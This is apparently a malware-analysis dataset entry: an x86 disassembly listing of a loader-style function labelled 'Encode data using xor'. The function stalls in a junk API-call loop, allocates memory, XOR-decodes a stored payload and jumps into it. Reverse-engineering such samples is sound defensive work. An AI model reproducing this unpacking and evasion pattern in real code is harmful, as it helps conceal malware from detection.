Function at 0x4631f0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc4
mov eax, 0x462fe8
call fcn.00405d8c
mov dword [0x466c48], 0x8a58a
mov dword [0x466bf8], 0xe
push 0
call sub.user32.dll_GetDlgCtrlID
inc dword [0x466bf8]
cmp dword [0x466bf8], 0x30bf3c1
jne 0x463214
mov dword [0x466c10], 0xab7f0
mov dword [0x466c30], esp
add dword [0x466c30], 0x40
mov dword [0x466c34], ebp
add dword [0x466c34], 0x20
lea ecx, [0x466660]
mov eax, dword [ecx - 0x10]
mov dword [0x466c3c], eax
mov eax, dword [ecx - 0x14]
mov dword [0x466c38], eax
push 0x4634e8
push 0x463504
mov ecx, dword [0x466660]
mov dl, 1
mov eax, dword [0x4120d0]
call fcn.004161b4
mov dword [0x466bfc], eax
mov dword [0x466c40], 0x1001
mov dword [0x466c44], 0x11e
mov eax, sub.kernel32.dll_VirtualAlloc_1
mov dword [0x466c4c], eax
mov dword [0x466c50], 0xffffffff
mov dword [0x466c1c], 0x85
mov eax, dword [0x466c44]
sub eax, 0xde
push eax
mov eax, dword [0x466c40]
dec eax
push eax
mov eax, dword [0x466bfc]
mov edx, dword [eax]
call dword [edx]
add eax, dword [0x466c1c]
push eax
push 0
call dword [0x466c4c]
mov dword [0x466c00], eax
mov eax, dword [0x466c44]
sub eax, 0xde
push eax
mov eax, dword [0x466c40]
dec eax
push eax
mov eax, dword [0x466bfc]
mov edx, dword [eax]
call dword [edx]
add eax, dword [0x466c1c]
push eax
push 0
call dword [0x466c4c]
mov dword [0x466c08], eax
mov eax, dword [0x466bfc]
mov edx, dword [eax]
call dword [edx]
mov edx, eax
mov eax, dword [0x466c08]
call fcn.0040690c
mov eax, dword [0x466bfc]
mov edx, dword [eax]
call dword [edx]
mov ecx, eax
mov edx, dword [0x466c00]
mov eax, dword [0x466bfc]
call fcn.00415b50
mov eax, dword [0x466c00]
mov eax, dword [eax]
mov dword [0x466c0c], eax
mov eax, dword [0x466c00]
add eax, 4
mov dword [0x466c00], eax
mov eax, dword [0x466c08]
mov dword [0x466c04], eax
mov eax, dword [0x466c04]
sub eax, 4
mov dword [0x466c04], eax
xor eax, eax
mov dword [0x466c28], eax
xor eax, eax
mov dword [0x466c2c], eax
mov dword [0x466c18], 0x583
mov dword [0x466c20], 0x29
mov eax, dword [0x466bfc]
mov edx, dword [eax]
call dword [edx]
mov dword [0x466c24], eax
xor eax, eax
mov dword [0x466bf8], eax
mov eax, dword [0x466c28]
cmp eax, dword [0x466c24]
jae 0x463407
mov edx, dword [0x466c00]
add edx, dword [0x466c28]
add edx, dword [0x466bf8]
mov eax, dword [0x466c08]
add eax, dword [0x466c2c]
mov ecx, dword [0x466c1c]
call fcn.00406904
mov eax, dword [0x466c1c]
add dword [0x466c2c], eax
mov eax, dword [0x466c1c]
add dword [0x466c28], eax
mov eax, dword [0x466c20]
add dword [0x466c28], eax
jmp 0x4633af
xor eax, eax
mov dword [0x466bf8], eax
mov eax, dword [0x466bf8]
cmp eax, dword [0x466c0c]
jae 0x463484
mov eax, dword [0x466bf8]
mov edx, dword [0x466c08]
add dword [edx], eax
mov eax, dword [0x466c18]
add eax, dword [0x466c48]
add eax, dword [0x466bf8]
mov edx, dword [0x466c08]
xor dword [edx], eax
call sub.user32.dll_GetKBCodePage
call sub.user32.dll_GetKBCodePage
call sub.user32.dll_GetKBCodePage
call sub.user32.dll_GetKBCodePage
call sub.user32.dll_GetKBCodePage
call sub.user32.dll_GetKBCodePage
call sub.user32.dll_GetKBCodePage
call sub.user32.dll_GetKBCodePage
add dword [0x466bf8], 4
add dword [0x466c08], 4
mov eax, dword [0x466bf8]
cmp eax, dword [0x466c0c]
jb 0x46341b
mov eax, dword [0x466c04]
add eax, dword [0x466c10]
sub eax, 0x1000
add eax, 4
mov dword [0x466c14], eax
mov eax, 0xd
push dword [0x466c30]
mov eax, 0xe
push dword [0x466c34]
mov eax, 0x9c
push dword [0x466c38]
mov eax, 0x11
push dword [0x466c3c]
push dword [0x466660]
mov eax, 1
push eax
jmp dword [0x466c14]